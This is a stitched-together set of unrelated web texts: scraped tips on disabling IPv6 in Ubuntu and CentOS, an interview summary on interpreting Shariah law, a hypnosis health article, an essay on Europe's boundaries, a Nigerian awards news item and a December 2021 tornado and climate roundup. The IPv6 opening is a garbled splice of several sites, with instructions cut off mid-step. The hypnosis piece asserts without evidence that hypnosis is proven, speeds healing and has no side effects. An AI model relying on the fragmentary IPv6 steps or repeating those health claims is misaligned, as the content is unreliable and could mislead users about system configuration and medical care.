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How to Disable IPv6 in Ubuntu Server 18.04/16.4 LTS
LOG Turn on kernel logging of matching packets. When this option is set for a rule, the Linux kernel will print some information on all matching packets (like most IPv6 IPv6-header fields) via the kernel log (where it can be read with dmesg or syslogd(8)). This is a "non-terminating target", i.e. rule traversal continues at the next rule. How to Enable IPv6 on Droplets :: DigitalOcean Product Once the Droplet is off, the next step is to enable IPv6 from the control panel. This assigns IPv6 address information to the Droplet that you need to configure the Droplet's network interface. On the Droplets page, click the name of the Droplet, then click Networking in the side navigation. In the Public Network section, click Enable. This How To Disable IPv6 In CentOS 7 | Unixmen Recently, one of my friend asked me how to disable IPv6. After searching a bit, I found the following solution. Here is the steps that I followed to disable IPv6 in my CentOS 7 minimal server. You can do it in two methods. Method 1 Edit file /etc/sysctl.conf, vi /etc/sysctl.conf Add the following lines: net.ipv6.conf.all.disable_ipv6 […] ubuntu - How do I use ufw to open ports on ipv4 only I would edit the ufw config file itself to turn off IPv6: sudo nano /etc/default/ufw Change the line that says: IPV6=yes to IPV6=no then restart the ufw service.
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Create a file ipv6.conf under modprobe.d and disable the service persistently and reboot the server to take effect. # echo "options ipv6 disable=1" > /etc/modprobe.d/ipv6.conf # chkconfig ip6tables off # reboot. Once module disabled take a reboot. Method 2: Disable using "sysctl" and reboot. Edit the sysctl.conf and append with two lines. Finally, note that these instructions are for Ubuntu 18.04, so note that this version of Ubuntu switched to netplan for network configuration. Step 1 – Contact Support for an IPv6 If you do not have an IPv6 address assigned, the first step is to send an email to [email protected] in order the get the required information for configuring your | <urn:uuid:15cc74d3-6bfe-4d76-bf2f-81d1c28c6007> | CC-MAIN-2022-33 | https://supervpnmdlod.web.app/lampey64256nu/ubuntu-turn-off-ipv6-772.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.762789 | 575 | 2.0625 | 2 |
Interpreting Shariah Law Across The Centuries
Sadakat Kadri is an English barrister, a Muslim by birth and a historian. His first book, The Trial, was an extensive survey of the Western criminal judicial system, detailing more than 4,000 years of courtroom antics.
In his new book, Heaven on Earth, Kadri turns his sights east, to centuries of Shariah law. The first parts of his book describe how early Islamic scholars codified — and then modified — the code that would govern how people lead their daily lives. Kadri then turns to the modern day, reflecting on the lawmakers who are trying to prohibit Shariah law in a dozen states, as well as his encounters with scholars and imams in India, Pakistan, Syria, Egypt, Turkey and Iran — the very people who strictly interpret the religious and moral code of Islam today. And some of those modern interpretations, he says, are much more rigid — and much more draconian — than the code set forth during the early years of Islamic law.
Islamic law is shaped by hadiths, or reports about what Prophet Muhammad said and did. The hadiths, says Kadri, govern how Muslims should pray, treat criminals and create medications, among other things.
"It's a huge oral tradition, which was set down in the 9th century and which was then, by some people, transformed into compulsion and rules," Kadri tells Fresh Air's Terry Gross. "It would be literally impossible to follow all of them, because plenty of them directly contradict each other. So you have to make choices, and Muslims have been making choices for ... the last 1,400 years. And what's happened over the past 40 years is that in certain places, the hard-liners have come to the forefront."
In the early 1970s, Libya, led by Moammar Gadhafi, became the first country to introduce Islamic criminal penalties outside of Saudi Arabia; Pakistan and Iran followed suit in 1979. Throughout the past three decades, the number of countries applying harsh interpretations of Islamic law has expanded.
"One thing I realized when traveling around the Muslim world is how closely these hard-line interpretations of Islamic law are associated with political consternation and turmoil," he says. "There isn't a country anywhere in the Muslim world which has been applying Muslim laws continuously for hundreds of years and which is drawing on genuine tradition. It's a revival of supposed traditions, which don't really pay much heed to history at all."
Kadri addresses the hard-liners in the prologue to Heaven on Earth, which starts with a disclaimer: "Lest it be necessary to say so — and it probably is," he writes, "[this book] does not intend at any point to challenge the sacred stature of the Prophet Muhammad, the self-evident appeal of Islam, or the almightiness of God."
Kadri says he wanted to make it clear that his book was not out to offend.
"It's a disclaimer to the extent that I'm pointing out what I'm not contesting," he says. "I'm not arguing the fundamentals of Islam. What I'm arguing about is the interpretation that's been put on those fundamentals over the last 1,400 years. And what I'm arguing about is the interpretations of Islamic law that are being presented as sacred by hard-liners. And that, I think, should be a proper subject to debate."
On interpretations of the Shariah
"There are interpretations which do justify stoning, which do justify the concealment of women behind hijabs, which do justify the execution of adulterers. But those are just interpretations of the Shariah. As far as I was concerned, it was very, very important to draw a distinction between the two things because the argument just tends to get so confused these days between people who attack the Shariah, when actually what they ought to be attacking is the hard-line interpretations of Islamic law. By attacking the Shariah, basically a huge amount of mistrust and incomprehension is created between Muslims and non-Muslims. Because as far as a Muslim is concerned, an attack on the Shariah is an attack on God. "
On why he wanted to write about Shariah law
"People just seemed to be arguing about Islam, Islamic law, the Shariah, without actually getting to the substance of what it was all about. So because I come from a Muslim background, I certainly had plenty of people I could ask. I started with my father. My father's also a lawyer. I asked him, 'So what is the Shariah? What does it say? Where is it written down?' And he didn't really have an adequate answer, as far as I am concerned. He said, 'It's what's regarded as God's law.' And I knew that. I didn't need to be told that. And the more I asked, the more I realized people just seemed to be ignorant. Muslims seemed to be ignorant, let alone the people who were attacking it without knowing what they were talking about."
On the word 'Shariah'
"It means the right path to follow if you want to attain salvation. It's a very spiritual concept. It's an idea of the right thing to do, how you attain salvation. And there's no denying that the human interpretations of the Shariah do contain some very repressive laws."
On the movement to ban Shariah law in America
"It's crazy, basically. It's this idea that Shariah is some kind of movement to take over the United States or a conspiracy to overturn American freedoms. That isn't what Shariah is. There are certainly hard-line interpretations of Islamic law. But these measures don't even claim to restrict themselves to that. They claim to prevent the courts from taking any account at all of the Shariah, which potentially means that a court can't, for example, take account of someone's will. If someone says they want to be buried according to Muslim rituals laid down in the Shariah, a court would theoretically not be able to take account of that. And, of course, it's possible to say, 'That's not what the law's aimed at. The law's aimed at something very different.' But as everyone should know by now, liberties begin to erode when you have laws that are too widely drawn.
"And laws which say that under no circumstances can a court take any account of the Shariah are necessarily discriminatory. They're necessarily over-broad. And they necessarily create communal dissension for no good purpose. Because it's perceived by Muslims as an attack on Islam. ... I am absolutely sure that many of the people who support the laws and their sponsors are genuinely motivated by fear of Islamic extremism. Islamic extremism is something which I'm fearful of. I was around on Sept. 11 and July 7 here in London when Islamic extremists blew lots of people up. I'm no fan of violent extremism from Muslims, but these laws don't target that. They simply target the body of beliefs that Muslims call the Shariah."
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As we age it is undeniable that our bodies do not function as smoothly nor as efficiently as they used to when we were younger. As my doctor once said to me "a woman's body is like a car. Once it begins to break down it keeps on breaking down". I’m sure that if his patient had been a man he would have adapted what he said to apply in a similar manner.
Age and wear and tear clearly impact upon our bodies. What is less clear to many of us, yet at the same time obvious to some, is that our minds have a major impact upon our bodies throughout our lives.
The thoughts and feelings we have are reflected and mirrored by our physical body. Messages are sent from brain to nerves and muscles and back again time and again throughout the day and night. Messages of pain may be sent from body to brain to alert us to the fact that something is wrong. In reverse, the thoughts we have are converted into neuro-transmitters and sent around the physical body. This exchange of information is a two way process.
You will no doubt be aware of this in small ways. When you feel down, or your thoughts are despondent, you will find that your shoulders stoop and your body slumps. When you are falling in love you will feel an endless flow of energy and find yourself bounding around with a spring in your step.
A persons predominant thoughts and emotions become etched in the lines upon their face, permanently displayed in laughter lines or a scowl, an upturned mouth or one which is downturned, and so on. All can easily see these reflections of mind upon body. Not as easy to spot are physical signs and symptoms which do not rest upon the surface.
Physical symptoms such as high blood pressure, heart disease or IBS are less easily seen as reflections of mental thoughts. But your mind will undeniably have an impact upon any form of disease within your body; it may not be the root cause of the disease, but it will have some effect. Much research has been carried out which adequately demonstrates this point.
Your mind is absolutely your best complementary health aid, should you choose to use it. You can take advantage of the fact that messages are sent backwards and forwards between brain, nerves, muscles and cells. You can send messages to your body that have specific intent; The intent to assist your body to heal successfully and to remain healthy.
Hypnosis may be use to add extra impact to such messages and to speed up the healing process. Hypnosis has in fact been proven to be of great assistance in many areas of complementary health. It's easy to use, quick to have an impact and has no nasty side effects.
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Rethinking the boundaries of Europe is an earnest exercise that calls for critical reconsideration of our existing spatio-temporal constructions. First of all, it should be established that this kind of an exercise does not only necessitate a re-mapping of the cartographical space within which “Europe” is placed, but more so a re-thinking of the intellectual space within which history is situated.
Social scientific endeavors, including the study of history, have been going through a process of radical critique since the 1970s. As the interests, foci, and discourses of the social sciences and history are structured and conditioned by contemporaneous conditions, this change of attitude should be located in the world historical context of de-colonization movements and the de-centering of European dominance. These processes not only enabled non-European societies to re-claim their own histories, but simultaneously forced former colonial powers, whose collective identities were organically linked to their empires, to search for new identifications which were to be found in the European identity. The creation of the Common Market undergrid the emerging new imaginaries of Europe which were also thoroughly imbricated with the geopolitics of the Cold War. More recently, with the deepening intensity of globalization, the nation-state has begun to loose its centrality as the unit of analysis in both the social sciences and history as scholars are now urged to think in terms of larger units, be they regional or global. The trends that directed historical studies away from the political and intellectual arenas to the social and cultural spheres enabled the rapprochement first between history, sociology, and economics, and later with anthropology and literary studies.
These movements within the space of social scientific knowledge opened up an intellectual space. That is to say, the new subject matters of history prepared the ground for the re-thinking of the boundaries of Europe. Studies on structures and practices of daily life or discussions concentrating on the formation and nature of the public sphere among others forced “European” historians to think beyond the rigid geographical boundaries within which they were operating. To put it differently, the blurring of boundaries in the intellectual field between the social science disciplines and history has also blurred the boundaries of European history.
Another aspect that needs to be emphasized is that the notion of European history cannot be thought without its organic ties to a conception of the idea of Europe in an abstract way. Bringing back the interconnectedness of notions of time and space and the ways in which these notions have been shaped by socio-cultural, economic, political, and historical processes enables historians to talk about historicized spatio-temporal wholes rather than about societies.
The first step in this direction would be to historicize, albeit very crudely within the confines of this brief commentary, the spatiality of the notion of Europe. The idea of Europe leaps far beyond its geographical boundaries, in every attempt to draw and redraw the latter. Europe has historically been “an intricate game of inclusions and exclusions“.1 Yet, I would like to argue that, in this game entangled with fantasy, desire, along with concrete socio-economic and political processes, the bounding of the Western Christianity and the concomitant transformation of Christendom into Europe lies at the heart of the process of setting its boundaries. The interconnectedness of Christianity and Europe still strongly resonates in shaping our understanding of contemporary history and society as underscored by the debate on the admission of Turkey into the European Union or the ban on headscarves but not crucifixes in France.
The idea of Europe as an organic unity is one of the mainstays of civilizational history. Yet, as it is well known, to invoke the very notion of Europe was mainly a rhetorical strategy until at least the sixteenth century.2 Upon the disintegration of Western Roman Empire, Dennis Hay sees a slow and gradual process of unification under Christianity which was more or less complete by the thirteenth century. He carefully underlines that the idea of Christianity was not simply tied to “any narrow man-made frontiers, and had no boundaries in time and space“.3 It was exactly this, the bounding of the notion of Christianity with Western Christendom and its gaining a territorial identity which was a slowly developing process and shaped by the Islamic threat. Muslim expansion in Asia and Africa, capturing the Holy Land, not only cut off Christian communities of Asia and Africa but also territorialized the notion of Christianity. The Crusades were central in defining the geographical boundaries of Christianity and it was through the confrontation with Islam that the essence of a European-identity-in-formation was to be shaped. By the fourteenth century, Hay writes, Christendom in Asia Minor and beyond, and in Africa was cut off from the West so that the idea of a reunion of these varied Christian lands was only a chimera.4 Consequently, once Europe alone was conceptualized as Christian, the ground was prepared for the idea of Christendom to be transformed into the idea of Europe.
Cast thus, the key characteristics of the European experience were the Roman imperium and Christianity, the Enlightenment and industrialization, characteristics designed, as Talal Asad pointedly notes, to exclude Muslims.5 Spain was a part of Europe, but its medieval history - Arab Spain - was excised from the European experience.6 Likewise, the Ottoman Empire, despite being a central player in the European state system, was left outside of the borders of Europe. This had far reaching repercussions as Ottoman, and later Turkish, studies were excluded from European studies thereby reinforcing the Euro-centrism of historical and social studies. This stance persists in a distorted manner in contemporary history. Successor nation-states of the Ottoman Empire have been partitioned into different areas of study. While the Christian successor states, such as Greece, Bulgaria, and Serbia, were included within Europe, albeit with some reservations, Turkey and the Arab nation-states were classified as parts of the Middle East.7 Put differently, the Ottoman Empire, seen as a predominantly Islamic formation, was allowed no part in European history, despite its organic role in the latter. After its disintegration, only its peripheries - Ottoman Christendom - could be welcomed back into Europe. Bosnian Muslims continue to point towards the liminal space that is created by the identification of Europe with Christianity: they “may be in Europe but are not of it”.8
A related issue that needs to be emphasized here is that the boundary of Europe also marks the boundary of the West. It is not surprising to find Turkey in a rather problematic position since this geography has historically formed the “frontier” between the “East” and the “West”, and marked the discursive, political, social, and military space that played a central role in the genesis of this frontier, and the idea of the West itself. This especially paves the way to schizophrenic subject positions in Turkey eternally squeezed in the non-space of the frontier between “East” and “West”. As Meltem Ahiska succinctly observes, Turkey has been thought of as “a bridge” both by “Europeans”, Ottomans, and later by the peoples of Turkey. For her, Turkey “has an ambivalent relation not only to the geographical sites of the East and the West, but also to their temporal signification: namely, backwardness and progress. Turkey has been trying to cross the bridge between the East and the West for more than a hundred years now, with a self-conscious anxiety that it is arrested in time and space by the bridge itself.”9
The idea of the specificity (but also simultaneous universality) of Europe, stripped off from its temporal and spatial qualifications, formed the basis of ahistorical (in terms of time) and essentialist (in terms of space) constructions of the “East” and the “West” which informed social scientific inquiry. The Turkish anxiety that Ahiska underscores also illustrates that European history has become equated with the history of modernity to which people everywhere aspire. While most European historians, Dipesh Chakrabarty argues, continue to narrate this history in relative ignorance of non-European histories, historians of the non-European world cannot afford the luxury of being ignorant of European history.10 But what exactly European history means is rarely discussed in non-European histories: it is a frozen, “silent”, yet an imposing reference. That reference is modernity’s “actuality”, and to the extent that links with the non-European world are suggested by a new European history, there is the ever-present danger of representing non-European histories in terms of - usually cultural - difference, thereby masking power relations. As the history of the non-European world continues to be narrated in terms of difference, new terms and binary oppositions are invented, this time to idealize non-western histories, such as late-comers, new- comers, developing, under-developed, and traditional societies. All this reference to difference then serves the purpose of reproducing the two ideal types in a continuous manner. The discipline of history has been deeply complicit in this process of reproduction of ideal types, though it remains to be the only tool in our quest to overcome these intellectual fractures.11
One research agenda would be to problematize European history itself, while writing about the non-Western world. Here European history is not conceived in its totality, but in terms of the development of certain analytical concepts and institutions that marked modernity - for instance law, the nation state, and private property among others. An example would be Huri Islamoglu’s recent work, where she problematizes the development of private property as a “contested domain” within the web of power relations rather than an ideal type that the modernity’s silent referent generally suggests.12 Harootunian’s work is also relevant here. Criticizing terms such as “alternative modernities”, or “retroactive modernities” that suggest “the projection of an image of different temporalities”, he proposes the term “co-eval” modernity which suggests contemporaneity.13
In this intellectual endeavor it is important to acknowledge the particular space of Europe within world history and to break down the singularity of European modernity. I would like to conclude with a concrete observation that represents a significant step taken in this direction. In the curricula of history departments in universities in various countries, most notably in the United States, “History of Civilization” courses, which had hitherto formed the backbone of the undergraduate history curriculum, have been renamed and replaced by “World History” courses. This is a very significant development since it represents first and foremost the rejection of the unqualified equalization of civilization with Western civilization. World history courses in their inclusion of the multiple dynamics and processes that have been generated in different geographies establish the proportionate role of Europe. Nevertheless, these multiple processes and dynamics continue to be assessed in relation to an idealized European trajectory of change, an idealized narrative of European socio-historical transformation that is woven into the conceptual categories of the historical social sciences. If we are to successfully “provincialize Europe” and see European history as the history of a particular cartographic quadrant rather than as the universal history, we need to integrate the dynamics of these non-Western histories more closely into our theoretical models of large-scale social change.
1 Maria De Chiara, A Tribe Called Europe, in: Iain Chambers/Lidia Curti (eds.), The Post-Colonial Question: Common Skies, Divided Horizons, London 1996, pp. 228-233, here p. 232.
2 Timothy Reuter, Medieval Ideas of Europe and Their Modern Historians, in: History Workshop Journal 33 (1992), pp. 176-180, here p. 180.
3 Dennis Hay, Europe: The Emergence of an Idea, Edinburgh 1957, p. 4, p. 21. See also Robert Bartlett, The Making of Europe: Conquest, Colonization and Cultural Change: 950-1350, Princeton 1993.
4 Hay, Europe (fn. 3), p. 66.
5 Talal Asad, Muslims and European Identity: Can Europe Represent Islam?, in: Anthony Pagden (ed.), The Idea of Europe: From Antiquity to the European Union, Cambridge 2002, pp. 209-227, here p. 215.
6 Ibid., p. 217.
7 Biray Kolluoglu-Kirli, From Orientalism to Area Studies, in: New Centennial Review 3 (2003) Issue 3, pp. 93-112.
8 Asad, Muslims and European Identity (fn. 5), p. 213.
9 Meltem Ahiska, Occidentalism: The Historical Fantasy of the Modern, in: South Atlantic Quarterly 102 (2003), pp. 351-379, here p. 353.
10 Dipesh Chakrabarty, Postcoloniality and the Artifice of History: Who Speaks for “Indian” Pasts?, in: Representations 37 (1992), pp. 1-26.
11 See Harry Harootunian, Overcome by Modernity: History, Culture, and Community in Interwar Japan, Princeton 2000.
12 Huri Islamoglu, Constituting Modernity: Private Property in the East and West, London 2004.
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Six Nigerians, on Wednesday, received Niger Republic’s highest civilian awards, Order of Merit of Niger and Great Master of National Awards, for their roles in promoting better relations between the two countries.
The awardees include two Businessmen, President of Dangote Group, Aliko Dangote, and President of BUA Group, Abdulsamad Rabi’u, Governors Badaru Abubakar of Jigawa State and Bello Matawalle of Zamfara State.
Those honoured from the Presidency are the Senior Special Assistant (Household and Domestic Affairs) to the President, Sarki Abba, and the State Chief of Protocol, Lawal Kazaure.
This is according to a statement signed by the Senior Special Assistant to the President on Media and Publicity, Garba Shehu, titled, ‘Six Nigerians get Niger Republic’s highest civilian honours.’
The award ceremony was to mark the nation’s independence from France in 1960 and since 1975 has been recognised as “tree planting day” as trees are planted across the nation to aid the fight against desertification.
In giving the awards, Niger’s President Mohammed Bazoum said his country cherished Nigeria as one of its closest neighbours and friends.
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Slight Severe T-storm Risk Later Today
I’m having a mild out-of-body meteorological experience. There is snow on the ground and you’re telling me there’s a slight risk of tornadoes later today? What the…Doppler?
Last Friday’s historic (horrific) December tornado outbreak over 5 states is still top of mind. Nationwide, December has brought 3,069 record highs and 14 record lows. A lukewarm autumnal hangover has spilled into the holiday season, setting up an atmospheric clash later today. According to NOAA’s Storm Prediction Center there is a slight risk of severe T-storms, with the best chance of straight-line wind damage and isolated tornadoes (!) south of the MSP metro this evening. I pray to God I don’t see a snow-nado. More like a slush-nado after the recent thaw.
Half an inch of rain may fall before temperatures plummet tonight, with northwest winds gusting over 40 mph.
Highs hold in the 20s and 30s from tomorrow into next week with dribs and drabs of snow. Models hint at a cosmetic snowfall Christmas Eve. Even with 50s today I expect a white(ish) Christmas 2021.
First December Severe Storm Warnings in the Modern Record? Since 1986 the Twin Cities office of the National Weather Service has never issued a severe storm warning for the MPX coverage area. That may change later today.
Colder and Snowier Last Week of December? Winds aloft are still howling from the west 2 weeks out, limiting how much moisture can ultimately reach Minnesota in the form of snow, but weakened Pacific storms may squeeze out a few inches the week after Christmas.
Researchers Ponder Why Friday’s Tornadoes Led To So Many Deaths, Despite Ample Warning. Capital Weather Gang provides reasons why this was no ordinary tornado outbreak: “Despite accurate forecasts and timely warnings, Friday night’s tornado outbreak was December’s deadliest on record. Researchers of many stripes, from engineers and forecasters to social scientists, now face the burning question: Why? Experience from past tornado disasters assures that the answers will be complex and multidimensional, taking months if not years to pin down. But the evidence suggests the timing of the tornadoes, coming in the dark of night, their exceptional intensity and the population density of the region hit were all key factors in the catastrophe — which advanced warning could not overcome...”
Severe Weather “New Normal”, US Emergency Chief Warns After Tornadoes. Phys.org has the post; here’s an excerpt: …“This is going to be our new normal,” Deanne Criswell, head of the Federal Emergency Management Agency, told CNN’s “State of the Union” as she did a round of national Sunday morning talk shows before she headed to Kentucky to assess the damage and help coordinate the federal response. “The effects that we’re seeing from climate change are the crisis of our generation,” the FEMA chief added. Criswell warned of the challenge that the United States faces in addressing such severe weather events. “We’re seeing more intense storms, severe weather, whether it’s hurricanes, tornadoes, wildfires,” she said on ABC’s “This Week.” “The focus I’m going to have is, how do we start to reduce the impacts of these events?…”
How “Goldilocks Conditions” Spawned Rare December Tornado Outbreak. NBC News has a look at the meteorological conditions leading up to last Friday’s historic outbreak: “…The rare December tornadoes that tore through Kentucky, Missouri, Illinois, Tennessee and Arkansas were shocking in their intensity and their timing, experts said. And they were the kinds of violent storms that raise worrisome questions about what extreme weather events may look like in a warming world. “The heat and humidity across the South was pretty uncharacteristic for this time of year,” said Victor Gensini, an associate professor of atmospheric sciences at Northern Illinois University. “I remember waking up, looking at the weather maps and saying, ‘Geez, this looks a lot more like late April than mid-December.’” The unseasonable warmth helped fuel volatility in the atmosphere that can generate strong thunderstorms…”
How to Help Tornadoes in South and Midwest. Here’s an excerpt with links on how to donate from ABC News: “…While it continues to assess the damage, Red Cross officials said the organization is accepting donations to help the victims. Anyone interested in helping can log onto redcross.org or call 800-RED CROSS. Mobile phone users can send a quick $10 donation simply by texting “REDCROSS” to the number, 90999. CARE, the international aid organization based in Atlanta, has provided water, food, shelter, and cash assistance to the families affected by the tornadoes. The organization has set up a donation fund for those services...”
The Real Truth About Tornadoes. How strong is the climate signal? Here’s an excerpt of a recent Op-Ed at LiveScience.com: “…Research data show that climate change caused by human behavior is fueling more frequent and intense weather, such as extreme precipitation and heat waves — so it’s only natural to wonder if this applies to tornadoes, too. Scientists need more data and time to fully address that connection. That said, some high-profile scientists are misleading the American public about what is, and is not, known about global warming and tornadoes. [Something Is Rotten at the New York Times (Op-Ed)] For instance, University of California, Berkeley, professor Richard Muller argued in a recent New York Times opinion piece that “the scientific evidence shows that strong to violent tornadoes have actually been decreasing for the past 58 years, and it is possible that the explanation lies with global warming.” The honest “truth” is that no one knows what effect global warming is having on tornado intensity. Tornado records are not accurate enough to tell whether tornado intensity has changed over time...”
As Floods Slam More US Firms, $50 Billion Economic Drag Expected. Thomson Reuters Foundation has an analysis: “American businesses stand to lose more than 3 million days of operations from flooding in 2022 and will face worsening economic fallout in the coming decades as climate change fuels ever more extreme weather events, researchers said Monday. Next year’s expected damage, based on estimated trends, translates to a nearly $50 billion annual hit for local economies in cities from Miami to Pittsburgh, according to First Street Foundation, a non-profit group that maps climate risk. In a new study, researchers there took a rare comprehensive look at the expected flood risk to businesses and local economies in the United States – a threat often underestimated amid a focus on flooded homes and family losses. “It’s a whole other dimension of flood risk,” said Jeremy Porter, head of research and development at First Street Foundation...”
Dreaming of a White Christmas? Your dreams may come true, depending on where you live, of course. The latest 30-year averages, courtesy of NOAA, show some shifts: “…Minnesota. Maine. Upstate New York. The Allegheny Mountains of Pennsylvania and West Virginia. Practically anywhere in Idaho. And of course, the Rockies or the Sierra Nevada Mountains. These are the parts of the United States where weather history suggests you want to be if you’re looking for the best chance of a white Christmas. This map shows the historic probability of there being at least 1 inch of snow on the ground at weather stations across the United States on December 25 based on the latest (1991-2020) U.S. Climate Normals from NOAAs National Centers for Environmental Information (NCEI). Using those station data, experts interpolated values for all locations in the Lower 48...”
“Zero Day” for California Water? Not Yet, but Unprecedented Water Restrictions Send a Sharp Warning. The Conversation has details: “On Dec. 1, 2021, California triggered headlines heard around the world when officials announced how much water suppliers would be getting from the State Water Project. “California water districts to get 0% of requested supplies in an unprecedented decision,” one headline proclaimed. “No state water for California farms,” read another. The headlines suggested a comparison with the “Zero Day” announcement in Cape Town, South Africa, during a drought in 2018. That was the projected date when water would no longer be available at household taps without significant conservation. Cape Town avoided a water shutoff, barely...”
Arctic Temperatures Soared to an Unprecedented 100 Degrees in 2020, Scientists Confirm. Washington Post’s Capital Weather Gang has an update – here’s an excerpt: “…Shortly after the temperature spike, researchers determined Siberia’s anomalously warm months, as well as Verkhoyansk’s record-breaking temperature in June, were virtually impossible without human-induced climate change. Climate change made the prolonged heat from January to June at least 600 times more likely; such extended heat in the region would occur less than once in 80,000 years without the observed increase in temperatures. To verify the June record, an international committee of experts conducted a thorough analysis of data, including from European weather forecast models. The group also evaluated information from the Russian meteorological agency on the type of equipment used, quality-checks, calibration of the instrument, monitoring techniques and data from surrounding stations...”
“Atmospheric River”, “Bomb Cyclone” and “Snowmageddon”. How Do Scientists Come Up With Weather Terms? Great question. A post at The Durango Herald provides some clarity: “Sierra cement, yellow snow, pineapple express. Haboob, Texas norther, bomb cyclone. They seem like ridiculous terms used to describe a messy bedroom or types of ice cream. But they’re actually weather terms, and meteorologists use them. Sierra cement refers to the heavy, wet snow that often falls on the West Coast. Yellow snow is not urine, but snow turned golden by pine or cypress pollen. And pineapple express is a band in the atmosphere that transports moisture from Hawaii and the tropics to the coasts of the U.S. and Canada. Who develops these terms and how they enter the public lexicon are often murky…”
Study: Winter Tornadoes to Get More Powerful as World Warms. A post at Phys.org caught my eye – here’s a clip: “…The combination of a longer and wider track with slightly stronger winds means some rare winter tornadoes that are killers now will have nine times more the power by the end of the century if carbon dioxide levels continued to rise, according to a study presented at the American Geophysical Union conference Monday. The study, which pre-dates the devastating Mayfield, Kentucky, tornado outbreak, looks at strength and not frequency of big tornadoes as climate change progresses. Not peer reviewed yet, it was presented in poster form as a peak at new research to be published later. “There is a potential for events in the future that are more intense that would not have been as intense in the current climate,” said study author Jeff Trapp, head of atmospheric sciences at the University of Illinois, Urbana-Champaign…”
From Killer Heatwaves to Floods, Climate Change Worsened Weather Extremes in 2021. Emergencyemail.org has a list of some of the most extreme events of this year: “Extreme weather events in 2021 shattered records around the globe. Hundreds died in storms and heatwaves. Farmers struggled with drought, and in some cases with locust plagues. Wildfires set new records for carbon emissions, while swallowing forests, towns and homes. Many of these events were exacerbated by climate change. Scientists say there are more to come – and worse – as the Earth’s atmosphere continues to warm through the next decade and beyond. Here are some of the events Reuters witnessed over the past year:
February — A blistering cold spell hit normally warm Texas, killing 125 people in the state and leaving millions without power in freezing temperatures.
Scientists have not reached a conclusion on whether climate change caused the extreme weather, but the warming of the Arctic is causing more unpredictable weather around the globe…”
Zara Party Dresses Are Made From Carbon Emissions. Fast Company reports: “Before it was made into holiday dresses, the silky black fabric used in a new capsule collection from Zara started life as carbon emissions. At a steel mill in China, a startup called LanzaTech uses microbes to turn the factory’s captured emissions into ethanol, something that would usually be made from fossil fuels. The ethanol is then processed into monoethylene glycol, one of the components used to make polyester. Earlier this year, Lululemon announced that it was experimenting with a version of the fabric to make its high-end yoga pants. Inditex, the fashion group that owns Zara, has also been working with the fabric. Zara’s new capsule collection is the first clothing to come to market using the technology. (Because polyester is made from only 20% monoethylene glycol, the new fabric’s climate impact is not eliminated, but it is reduced…”)
Tornado Outbreak Offers Climate Warning. Andrew Freedom does a good job of explaining what we know and don’t know – highlighting emerging science regarding attribution. It looks like an apparent south/east shift of traditional Tornado Alley may be a climate signal. Here’s a blurb from Axios: “…Tornado trends, such as a shift in their geographic distribution, and increased variability from year to year, are what scientists expect to see in a warming world, according to Gensini.
- Projections show an increase in major outbreaks in the mid-South and Southeast in particular, he said.
- Harold Brooks, senior scientist at the National Severe Storms Laboratory in Oklahoma, who also studies tornadoes and climate change, told Axios that the increase in days with favorable conditions for tornadoes in the South and Southeast already stands out as a climate-related signal.
- Gensini compared tornado attribution today to the steroids era of baseball. Pinning an individual home run on steroid use is difficult, he said, but in the aggregate the trends are evident...”
How the Climate Crisis is Affecting Tornadoes. CNN.com has a good explainer about “attribution” – how a warming climate may be impacting tornado frequency and intensity: “…When you start putting a lot of these events together, and you start looking at them in the aggregate sense, the statistics are pretty clear that not only has there sort of been a change — a shift, if you will — of where the greatest tornado frequency is happening,” Gensini told CNN. “But these events are becoming perhaps stronger, more frequent and also more variable.” Research by Gensini found that over the past four decades, tornado frequency has increased in vast swaths of the Midwest and Southeast, while decreasing in parts of the central and southern Great Plains, a region traditionally known as “tornado alley.” Some studies also indicate climate change could be contributing to an eastward shift in tornado alley, for instance, resulting in more tornadoes occurring in the more heavily populated states east of the Mississippi River, such as this tornado outbreak…”
As Winters Warm, Minnesota Lakes Have Lost About Two Weeks of Ice Coverage Over Last 50 Years. Star Tribune reports: “Minnesota lakes are losing one of the main things that makes them special: ice. Winters have warmed to the point that the state’s lakes have lost an average of two weeks of ice coverage since the late 1960s, according to data released Friday by the Minnesota Pollution Control Agency and Department of Natural Resources. The loss of ice has been one of the main drivers of toxic algae blooms, which have shut down lakes across the state, as well as a key reason that walleye, cisco, lake trout and other cold water-loving fish have been struggling and losing territory to species such as bass. “Fish are cold-blooded, and temperature is the driving force to every aspect of their lives, including reproduction and survival,” said Sarah Strommen, DNR commissioner. “Many lakes are becoming unsuitable for walleye and they’re becoming too hospitable for invasive species...”
Minnesota Winters Trending Milder Over Time. Minnesota Reformer takes a look at all the ways our winters are being transformed – in slow motion: “…Minnesota winters are warming 13 times faster than our summers, researchers say. And although it can still feel never-ending, our coldest season is getting shorter. The growing season is two weeks longer than it was in the 1950s, according to the Minnesota Climate Adaptation Partnership. As overall winter temperatures trend warmer, we’re experiencing fewer days of extreme cold. This chart shows the number of days each year with daily high temperatures below zero in the Twin Cities. Dark blue lines indicate more days below zero, and white lines indicate no below-zero days that year. Since 1900, there have been 24 years in which Twin Cities daily high temperatures never dipped below zero. Nine of them took place between 2000 and 2020, compared to just two such years between 1900 and 1920...”
2021 in Review: The World Promises Change After Another Year of Extreme Climate Disasters. Here’s the intro to a photo-heavy review from Bloomberg: “This will go down as among the hottest of the past 170 years, and the horrors of global warming were on full display. There were deep, possibly permanent drought conditions in some countries, devastating floods in others, and ever-more destructive wildfires. Greek villages burned, riverbanks burst in Germany and Brazil’s farms frosted over. If one heat wave stood out from the pattern, it was in the usually temperate region of North America’s Pacific Northwest. It was also a year of climate breakthroughs, both technological and political. Wind power and batteries kept getting cheaper and better. The proportion of new electric passenger vehicles sold worldwide has now reached 10% of the total, according to BloombergNEF. In Iceland, meanwhile, the largest complex ever built to remove carbon dioxide from the air sprang to life...” | <urn:uuid:578e3030-d6b5-461d-a1c5-bd748a940649> | CC-MAIN-2022-33 | https://www.aerisweather.com/blog/2021/12/15/december-tornado-risk-in-minnesota-why-was-last-fridays-tornado-outbreak-so-severe/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.95/warc/CC-MAIN-20220817032054-20220817062054-00465.warc.gz | en | 0.943261 | 3,898 | 2.046875 | 2 |
Questions to Consider About Binge Eating
